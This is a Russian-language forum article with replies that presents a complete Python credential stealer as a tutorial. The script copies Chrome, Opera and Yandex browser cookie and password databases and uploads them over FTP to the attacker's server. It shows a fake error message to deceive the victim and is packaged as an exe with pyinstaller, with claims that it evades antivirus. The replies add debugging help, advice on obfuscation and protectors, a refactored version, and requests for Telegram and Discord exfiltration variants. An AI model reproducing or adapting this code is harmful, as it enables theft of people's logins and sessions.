Статья Разработка ПО на Python для анализа безопасности данных

Всем привет, это моя первая статья, сразу хочу сказать)

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого: подключения библиотек.
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
  • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то, существует ли она в природе
  • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
  • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
  • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать (в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

Итак, вот код, пишем его, далее будем его разбирать
Python:
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"

dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"

dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
UserName - принимает значения имя текущего пользователя
dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....

У нас имеются директории, у нас есть библиотеки для работы, что же дальше? Пора приступать к основной задаче - написанию стиллера.

Вот код, пока напишите его, а я потом расскажу о нем ))
Python:
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
Код получился не маленький, что есть то есть. Рассмотрим первые строчки. В начале, до функции, мы записываем в переменные адреса наших директорий для последующей проверки на валидность. "Зачем это нужно?", - спросите вы меня. Да так проще! Зачем ставить try, except, если можно проверить на валидность с помощью os.path.exits.

Далее у идет функция, со множествами if, но тут ничего ничего сложного нет, все просто:

Python:
 if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)

Мы проверяем, является ли директория валидной, а после открываем ее, и отправляем файл на наш сервер FTP. Такс... Функцию написали, библиотеки подключили, директории есть. Чего не хватает? Думаю, не хватает задействовать функцию и вывести на экран какую-нибудь псевдо-ошибку, что мол библиотека не подключена и все дела. Будем действовать по такой схеме))

Вот код:
Python:
check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
Первая строка - вызов функции, которая ворует пароли.

Далее выводим сообщения об "ошибке", чтобы пользователь думал, что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. Но, как оказалось, библиотеки видите ли у него нет))

Вот и весь код, ниже он целиком:
Python:
import os.path
import getpass
from ftplib import FTP
import random

con = FTP("хост","логин","пароль")

"""
Hack to directory
"""

UserName = '\\' + getpass.getuser()

dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)

check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?

Ответ - pyinstaller
Скачаем его:
Bash:
pip install pyinstaller

Далее скомпилируем его в EXE'шник, дабы было все проще ))

Bash:
pyinstaller -F <my_script>.py
Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего....

Вот так вот. Всем спасибо! Рад был поделится с вами своим скриптом
 
я не много не понимаю куда всё именно идёт, на ftp? а от туда как всё это взять? объясните плиз, новичок
 
Чуть позже об этом подробно напишу, сейчас просто занят проектом, извиняюсь :)
Здравствуйте, очень интересна эта тема, не подскажите когда будет продолжение (про дешефрование паролей на машине)?
 
con = FTP("хост","логин","пароль")
Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?
 
con = FTP("хост","логин","пароль")
Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?
Вступлюсь за автора. Тут он показывает как написать сам стиллер(хоть реализация мне и не нравится), а не целиком процесс внедрения "ПО" от прочтения до профита.
Хотя в целом замечание весьма ценное)
 
объясните мне глупому. Это весь код? Его можно просто скопировать и всё будет работать?
 
Знаю вовремя, но всё же надеюсь кто нибудь ответит, возможно ли, если да то как, сделать тоже самое, но с WebBrowserPassView или laZagne, то есть что бы файлы полученные из данных утилит расшифровывались на ПК жертвы, отправлялись на ftp и после удалялись с ПК жертвы?
 
что делать если ошибка
Код:
Traceback (most recent call last):
  File "C:\Users\wanted\Desktop\stiller\stiler2.py", line 6, in <module>
    con = FTP("http://192.168.100.10/","admin","admin")
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\ftplib.py", line 118, in __init__
    self.connect(host)
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\ftplib.py", line 153, in connect
    source_address=self.source_address)
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\socket.py", line 689, in create_connection
    for res in getaddrinfo(host, port, 0, SOCK_STREAM):
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\socket.py", line 728, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 11001] getaddrinfo failed
 
что делать если ошибка
Код:
Traceback (most recent call last):
  File "C:\Users\wanted\Desktop\stiller\stiler2.py", line 6, in <module>
    con = FTP("http://192.168.100.10/","admin","admin")
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\ftplib.py", line 118, in __init__
    self.connect(host)
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\ftplib.py", line 153, in connect
    source_address=self.source_address)
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\socket.py", line 689, in create_connection
    for res in getaddrinfo(host, port, 0, SOCK_STREAM):
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\socket.py", line 728, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 11001] getaddrinfo failed
А зачем ты http указываешь при подключении к ftp?
Пробуй так:
Код:
con = FTP("192.168.100.10","admin","admin")
 
  • Нравится
Реакции: iron _wolf
con = FTP("хост","логин","пароль")
Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?
Тоже интересует тема как скрыть данные подключения в коде. Думал может нужно обфускацию кода делать?!
Помоги советом, где почитать? Что послушать?
 
Тоже интересует тема как скрыть данные подключения в коде. Думал может нужно обфускацию кода делать?!
Помоги советом, где почитать? Что послушать?
Ну как минимум не писать такие вещи на питоне.
Можешь посмотреть тему. XOR был взят ради примера, я не говорю, что это супер скрытие.
Также в той теме есть очень полезное дополнение от @Marylin


Также стоит подумать, может тебе вообще и не нужны креды. Это очень глупо вставлять данные для входа в файл, который потом полетит по интернету.
В таком случае уже не только ты имеешь доступ к логам.

Рекомендую писать "вирусы" на языках, которые нельзя декомпилировать, например, C++. Шифровать данные, хотя бы как то, если уж без них никак.
Ну и прогонять конечный билд через протектор, например VMProtect.

Вообще рекомендую почитать что такое протекторы.
 
На Хабре є продовження цієї статті.
Стилер паролей на python с отправкой на почту.
В статье имеется способ расшифровки паролей.
Чи не ти автор?
 
Очень хорошая статья! Спасибо за старания, буду анализировать и разбираться. Сам не так давно стал учить Python, поэтому крайне интересно
 
Написал тоже самое, но с классом и списками )
Согласитесь, так же удобнее )

Python:
import getpass
import os


class Stiller:
    def __init__(self):
        self.UserName = "\\" + getpass.getuser()
        self.disk_list = ["A", "B", "C", "D", "E", "F", "G"]
        self.list_dir = {
            ':\\Users' + self.UserName + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies': "Cookie_google",
            ":\\Users" + self.UserName + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data": "Pass_google",
            ":\\Users" + self.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies": "Cookie_yandex",
            ":\\Users" + self.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker": "Pass_yandex",
            ":\\Users" + self.UserName + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies": "Cookie_opera",
            ":\\Users" + self.UserName + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data": "Pass_opera"
            }

    @staticmethod
    def read_write_file(dir, filename):
        content = ""
        with open(dir, 'rb') as file:
            content = file.read()
        with open(filename, "wb") as file:
            file.write(content)
        return "[+] All good"

    def start(self):
        for disk in self.disk_list:
            for direction in self.list_dir:
                dir = disk + direction
                if os.path.exists(dir):
                    print("[+] Disk - " + disk + ",Yes " + self.list_dir[direction])
                    result = self.read_write_file(dir, self.list_dir[direction] + ".txt")
                    print(result)
                else:
                    print("[-] Disk - " + disk + " ,No " + self.list_dir[direction])


my_stiller = Stiller()
my_stiller.start()
 
Всем привет!
Хочу разработать подобную штуку, только с оправкой в телеграмм)
Кто может помочь, пишите в телеграмм @ruslan9071, кто поможет, того щедро вознагражу)
 
переделать можно код чтоб данные приходили в дискорд?
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы